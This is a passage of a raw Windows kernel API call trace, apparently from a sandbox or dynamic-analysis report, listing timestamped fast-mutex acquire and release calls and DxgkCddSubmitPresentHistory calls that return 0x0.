ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.893] DxgkCddSubmitPresentHistory () returned 0x0 [0118.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.924] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.924] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.924] DxgkCddSubmitPresentHistory () returned 0x0 [0118.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.956] DxgkCddSubmitPresentHistory () returned 0x0 [0118.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.956] DxgkCddSubmitPresentHistory () returned 0x0 [0118.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.991] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.991] DxgkCddSubmitPresentHistory () returned 0x0 [0118.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.992] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.992] DxgkCddSubmitPresentHistory () returned 0x0 [0119.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.033] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0119.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0119.033] DxgkCddSubmitPresentHistory () returned 0x0 [0119.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.040] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013ca590) [0119.040] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.040] DxgkCddSubmitPresentHistory () returned 0x0 [0119.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.068] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.068] DxgkCddSubmitPresentHistory () returned 0x0 [0119.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.068] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013ca590) [0119.069] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.069] DxgkCddSubmitPresentHistory () returned 0x0 [0119.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.114] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.114] DxgkCddSubmitPresentHistory () returned 0x0 [0119.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.114] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013ca590) [0119.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.114] DxgkCddSubmitPresentHistory () returned 0x0 [0119.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.142] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.142] DxgkCddSubmitPresentHistory () returned 0x0 [0119.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.178] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013ca590) [0119.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.178] DxgkCddSubmitPresentHistory () returned 0x0 [0119.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.178] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.178] DxgkCddSubmitPresentHistory () returned 0x0 [0119.189] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.189] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.189] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.189] DxgkCddSubmitPresentHistory () returned 0x0 [0119.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.223] DxgkCddSubmitPresentHistory () returned 0x0 [0119.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.240] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000013ca590) [0119.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000013ca590) [0119.240] DxgkCddSubmitPresentHistory () returned 0x0 [0119.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.240] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.240] DxgkCddSubmitPresentHistory () returned 0x0 [0119.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.270] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.270] DxgkCddSubmitPresentHistory () returned 0x0 [0119.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.312] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0119.312] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0119.312] DxgkCddSubmitPresentHistory () returned 0x0 [0119.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.313] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.313] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.313] DxgkCddSubmitPresentHistory () returned 0x0 [0119.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.353] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0119.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0119.353] DxgkCddSubmitPresentHistory () returned 0x0 [0119.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.361] DxgkCddSubmitPresentHistory () returned 0x0 [0119.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.400] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.400] DxgkCddSubmitPresentHistory () returned 0x0 [0119.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.424] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.424] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.424] DxgkCddSubmitPresentHistory () returned 0x0 [0119.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.445] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.445] DxgkCddSubmitPresentHistory () returned 0x0 [0119.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.470] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.471] DxgkCddSubmitPresentHistory () returned 0x0 [0119.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.487] DxgkCddSubmitPresentHistory () returned 0x0 [0119.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.518] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.518] DxgkCddSubmitPresentHistory () returned 0x0 [0119.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.560] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.560] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.560] DxgkCddSubmitPresentHistory () returned 0x0 [0119.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.577] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.577] DxgkCddSubmitPresentHistory () returned 0x0 [0119.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.593] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.593] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.593] DxgkCddSubmitPresentHistory () returned 0x0 [0119.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.609] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.609] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.609] DxgkCddSubmitPresentHistory () returned 0x0 [0119.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.626] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.626] DxgkCddSubmitPresentHistory () returned 0x0 [0119.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.643] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.643] DxgkCddSubmitPresentHistory () returned 0x0 [0119.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.659] DxgkCddSubmitPresentHistory () returned 0x0 [0119.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.691] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.691] DxgkCddSubmitPresentHistory () returned 0x0 [0119.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.723] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.723] DxgkCddSubmitPresentHistory () returned 0x0 [0119.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.755] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.755] DxgkCddSubmitPresentHistory () returned 0x0 [0119.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.787] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.787] DxgkCddSubmitPresentHistory () returned 0x0 [0119.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0119.819] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0119.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0119.819] DxgkCddSubmitPresentHistory () returned 0x0 [0120.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.746] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.746] DxgkCddSubmitPresentHistory () returned 0x0 [0120.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.746] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0120.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0120.746] DxgkCddSubmitPresentHistory () returned 0x0 [0120.746] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.754] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.754] DxgkCddSubmitPresentHistory () returned 0x0 [0120.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.772] DxgkCddSubmitPresentHistory () returned 0x0 [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.788] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.788] DxgkCddSubmitPresentHistory () returned 0x0 [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.788] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.788] DxgkCddSubmitPresentHistory () returned 0x0 [0120.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.814] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.814] DxgkCddSubmitPresentHistory () returned 0x0 [0120.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.830] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.830] DxgkCddSubmitPresentHistory () returned 0x0 [0120.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.830] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.830] DxgkCddSubmitPresentHistory () returned 0x0 [0120.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.846] DxgkCddSubmitPresentHistory () returned 0x0 [0120.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.862] DxgkCddSubmitPresentHistory () returned 0x0 [0120.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.862] DxgkCddSubmitPresentHistory () returned 0x0 [0120.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.878] DxgkCddSubmitPresentHistory () returned 0x0 [0120.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.910] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0120.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0120.910] DxgkCddSubmitPresentHistory () returned 0x0 [0120.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.942] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0120.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.942] DxgkCddSubmitPresentHistory () returned 0x0 [0121.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.037] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.037] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.037] DxgkCddSubmitPresentHistory () returned 0x0 [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.086] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.086] DxgkCddSubmitPresentHistory () returned 0x0 [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.086] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.086] DxgkCddSubmitPresentHistory () returned 0x0 [0121.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.092] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.092] DxgkCddSubmitPresentHistory () returned 0x0 [0121.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.115] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.115] DxgkCddSubmitPresentHistory () returned 0x0 [0121.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.115] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.115] DxgkCddSubmitPresentHistory () returned 0x0 [0121.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.116] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.116] DxgkCddSubmitPresentHistory () returned 0x0 [0121.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.145] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.145] DxgkCddSubmitPresentHistory () returned 0x0 [0121.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.178] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.178] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.178] DxgkCddSubmitPresentHistory () returned 0x0 [0121.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.210] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.210] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.210] DxgkCddSubmitPresentHistory () returned 0x0 [0121.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.223] DxgkCddSubmitPresentHistory () returned 0x0 [0121.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.256] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.257] DxgkCddSubmitPresentHistory () returned 0x0 [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.288] DxgkCddSubmitPresentHistory () returned 0x0 [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.288] DxgkCddSubmitPresentHistory () returned 0x0 [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.288] DxgkCddSubmitPresentHistory () returned 0x0 [0121.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.320] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.320] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.320] DxgkCddSubmitPresentHistory () returned 0x0 [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.351] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.351] DxgkCddSubmitPresentHistory () returned 0x0 [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.351] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.351] DxgkCddSubmitPresentHistory () returned 0x0 [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.351] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.351] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.351] DxgkCddSubmitPresentHistory () returned 0x0 [0121.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.382] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0121.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0121.382] DxgkCddSubmitPresentHistory () returned 0x0 [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.427] DxgkCddSubmitPresentHistory () returned 0x0 [0121.427] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.427] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000014e9160) [0121.427] 